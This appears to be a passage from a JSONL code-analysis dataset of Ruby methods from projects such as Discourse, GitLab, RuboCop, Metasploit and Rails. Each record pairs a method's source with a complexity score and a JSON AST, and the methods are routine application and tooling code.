",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"present?\"]},\"!\"]}]}]}","id":"33f17dca-0561-4106-96d6-8e3c9ccaf4ce"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/s3_inventory.rb","start_line":186,"raw_source":"def decompress_inventory_file(file)\n log \"Decompressing inventory file '#{file[:filename]}', this may take a while...\"\n Discourse::Utils.execute_command(\n \"gzip\",\n \"--decompress\",\n file[:filename],\n failure_message: \"Failed to decompress inventory file '#{file[:filename]}'.\",\n chdir: tmp_directory,\n )\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"decompress_inventory_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Decompressing inventory file '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]}]},{\"type\":\"str\",\"children\":[\"', this may take a while...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"Utils\"]},\"execute_command\",{\"type\":\"str\",\"children\":[\"gzip\"]},{\"type\":\"str\",\"children\":[\"--decompress\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"failure_message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to decompress inventory file '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]}]},{\"type\":\"str\",\"children\":[\"'.\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chdir\"]},{\"type\":\"send\",\"children\":[null,\"tmp_directory\"]}]}]}]}]}]}","id":"fbdc643c-9904-4937-9890-a2935095060d"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/payment/processing.rb","start_line":12,"raw_source":"def process!\n if payment_method&.auto_capture?\n purchase!\n else\n authorize!\n end\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"process!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payment_method\"]},\"auto_capture?\"]},{\"type\":\"send\",\"children\":[null,\"purchase!\"]},{\"type\":\"send\",\"children\":[null,\"authorize!\"]}]}]}","id":"ccb71610-c3e9-4dec-a02c-f2cddae36b90"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_redirect.rb","start_line":251,"raw_source":"def slice_call? exp\n return unless call? exp\n exp.method == :slice\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"slice_call?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"slice\"]}]}]}]}","id":"aeacb545-939a-4673-87a5-4006030d141a"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/out_of_range_regexp_ref.rb","start_line":94,"raw_source":"def regexp_patterns(in_node)\n pattern = in_node.pattern\n if pattern.regexp_type?\n [pattern]\n else\n pattern.each_descendant(:regexp).to_a\n end\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"regexp_patterns\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"in_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"in_node\"]},\"pattern\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"regexp_type?\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"each_descendant\",{\"type\":\"sym\",\"children\":[\"regexp\"]}]},\"to_a\"]}]}]}]}","id":"8920b2ed-31dc-4c35-9d0f-a46db2b31ab3"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/nodebb/nodebb.rb","start_line":169,"raw_source":"def import_profile_picture(old_user, imported_user)\n picture = old_user[\"picture\"]\n\n return if picture.blank?\n\n # URI.scheme returns nil for internal URLs\n uri = URI.parse(picture)\n is_external = uri.scheme\n\n if is_external\n # download external image\n begin\n string_io = uri.open(read_timeout: 5)\n rescue Net::ReadTimeout\n puts \"timeout downloading avatar for user #{imported_user.id}\"\n return nil\n end\n\n # continue if download failed\n return unless string_io\n\n # try to get filename from headers\n if string_io.meta[\"content-disposition\"]\n filename = string_io.meta[\"content-disposition\"].match(/filename=(\\\"?)(.+)\\1/)[2]\n end\n\n # try to get it from path\n filename = File.basename(picture) unless filename\n\n # can't determine filename, skip upload\n if !filename\n puts \"Can't determine filename, skipping avatar upload for user #{imported_user.id}\"\n return\n end\n\n # write tmp file\n file = Tempfile.new(filename, encoding: \"ascii-8bit\")\n file.write string_io.read\n file.rewind\n\n upload = UploadCreator.new(file, filename).create_for(imported_user.id)\n else\n # remove \"/assets/uploads/\" and \"/uploads\" from attachment\n picture = picture.gsub(\"/assets/uploads\", \"\")\n picture = picture.gsub(\"/uploads\", \"\")\n filepath = File.join(ATTACHMENT_DIR, picture)\n filename = File.basename(picture)\n\n unless File.exist?(filepath)\n puts \"Avatar file doesn't exist: #{filepath}\"\n return nil\n end\n\n upload = create_upload(imported_user.id, filepath, filename)\n end\n\n return if !upload.persisted?\n\n imported_user.create_user_avatar\n imported_user.user_avatar.update(custom_upload_id: upload.id)\n imported_user.update(uploaded_avatar_id: upload.id)\n ensure\n begin\n string_io.close\n rescue StandardError\n nil\n end\n begin\n file.close\n rescue StandardError\n nil\n end\n begin\n file.unlind\n rescue StandardError\n nil\n end\n end","complexity_score":89.8,"ast_json":"{\"type\":\"def\",\"children\":[\"import_profile_picture\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_user\"]},{\"type\":\"arg\",\"children\":[\"imported_user\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"picture\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"picture\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"picture\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"picture\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"is_external\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"scheme\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_external\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"string_io\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"open\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_timeout\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"ReadTimeout\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"timeout downloading avatar for user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imported_user\"]},\"id\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_io\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_io\"]},\"meta\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content-disposition\"]}]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_io\"]},\"meta\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content-disposition\"]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"filename=(\\\\\\\"?)(.+)\\\\1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},null,{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"picture\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Can't determine filename, skipping avatar upload for user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imported_user\"]},\"id\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"encoding\"]},{\"type\":\"str\",\"children\":[\"ascii-8bit\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_io\"]},\"read\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"rewind\"]},{\"type\":\"lvasgn\",\"children\":[\"upload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadCreator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]},\"create_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imported_user\"]},\"id\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"picture\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"picture\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"/assets/uploads\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"picture\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"picture\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"/uploads\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filepath\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"const\",\"children\":[null,\"ATTACHMENT_DIR\"]},{\"type\":\"lvar\",\"children\":[\"picture\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"picture\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"filepath\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Avatar file doesn't exist: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filepath\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"upload\",{\"type\":\"send\",\"children\":[null,\"create_upload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imported_user\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"filepath\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"persisted?\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imported_user\"]},\"create_user_avatar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imported_user\"]},\"user_avatar\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_upload_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imported_user\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uploaded_avatar_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"id\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string_io\"]},\"close\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"close\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"unlind\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]}]}]}","id":"d2f2a485-0365-49b7-83be-3d360651751c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/database/batched_background_migrations_finder.rb","start_line":33,"raw_source":"def filter_by_job_class_name\n return unless params[:job_class_name].present?\n\n @migrations = @migrations.for_job_class(params[:job_class_name])\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_by_job_class_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"job_class_name\"]}]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@migrations\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@migrations\"]},\"for_job_class\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"job_class_name\"]}]}]}]}]}]}","id":"4eb7dd9d-3dd9-4949-ae2f-3283b6874710"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/project/relation_saver.rb","start_line":15,"raw_source":"def save\n if root_relation?\n serializer.serialize_root\n else\n serializer.serialize_relation(relation_schema)\n end\n\n true\n rescue StandardError => e\n shared.error(e)\n false\n end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"save\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root_relation?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"serializer\"]},\"serialize_root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"serializer\"]},\"serialize_relation\",{\"type\":\"send\",\"children\":[null,\"relation_schema\"]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shared\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"5ef14119-6526-481a-82b6-eb58e73e1a3c"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/float_comparison.rb","start_line":122,"raw_source":"def numeric_returning_method?(node)\n return false unless node.receiver\n\n case node.method_name\n when :angle, :arg, :phase\n Float(node.receiver.source).negative?\n when :ceil, :floor, :round, :truncate\n precision = node.first_argument\n precision&.int_type? && Integer(precision.source).positive?\n end\n end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"numeric_returning_method?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"angle\"]},{\"type\":\"sym\",\"children\":[\"arg\"]},{\"type\":\"sym\",\"children\":[\"phase\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Float\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},\"source\"]}]},\"negative?\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"ceil\"]},{\"type\":\"sym\",\"children\":[\"floor\"]},{\"type\":\"sym\",\"children\":[\"round\"]},{\"type\":\"sym\",\"children\":[\"truncate\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"precision\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"precision\"]},\"int_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"precision\"]},\"source\"]}]},\"positive?\"]}]}]}]},null]}]}]}","id":"e11bebad-657a-49fe-81d7-566e95ecefc3"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/capture/ldap.rb","start_line":72,"raw_source":"def report_cred(opts)\n service_data = {\n address: opts[:ip],\n port: opts[:port],\n service_name: opts[:service_name],\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n\n credential_data = {\n origin_type: :service,\n module_fullname: fullname,\n username: opts[:user],\n private_data: opts[:private],\n private_type: opts[:private_type]\n }.merge(service_data)\n\n if opts[:domain]\n credential_data = {\n realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,\n realm_value: opts[:domain]\n }.merge(credential_data)\n end\n\n login_data = {\n core: create_credential(credential_data),\n status: Metasploit::Model::Login::Status::UNTRIED\n }.merge(service_data)\n\n create_credential_login(login_data)\n end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private_type\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"domain\"]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"realm_key\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Realm\"]},\"Key\"]},\"ACTIVE_DIRECTORY_DOMAIN\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"realm_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"domain\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"dbbed622-8197-4632-9917-b54165a2329b"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/providers/whatsapp_cloud_service.rb","start_line":34,"raw_source":"def sync_templates\n # ensuring that channels with wrong provider config wouldn't keep trying to sync templates\n whatsapp_channel.mark_message_templates_updated\n templates = fetch_whatsapp_templates(\"#{business_account_path}/message_templates?access_token=#{whatsapp_channel.provider_config['api_key']}\")\n whatsapp_channel.update(message_templates: templates, message_templates_last_updated: Time.now.utc) if templates.present?\n end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_templates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whatsapp_channel\"]},\"mark_message_templates_updated\"]},{\"type\":\"lvasgn\",\"children\":[\"templates\",{\"type\":\"send\",\"children\":[null,\"fetch_whatsapp_templates\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"business_account_path\"]}]},{\"type\":\"str\",\"children\":[\"/message_templates?access_token=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whatsapp_channel\"]},\"provider_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"api_key\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whatsapp_channel\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_templates\"]},{\"type\":\"lvar\",\"children\":[\"templates\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_templates_last_updated\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]}]}]},null]}]}]}","id":"0e3b23e3-0392-4863-9f95-775417d3f458"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":75,"raw_source":"def test_render_file\n template_path = File.expand_path(\"../fixtures/test/hello_world.erb\", __dir__)\n assert_equal \"Hello world!\", @view.render(file: template_path)\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../fixtures/test/hello_world.erb\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello world!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"template_path\"]}]}]}]}]}]}]}","id":"6aa081ef-b40c-456d-a101-a635d2361907"} 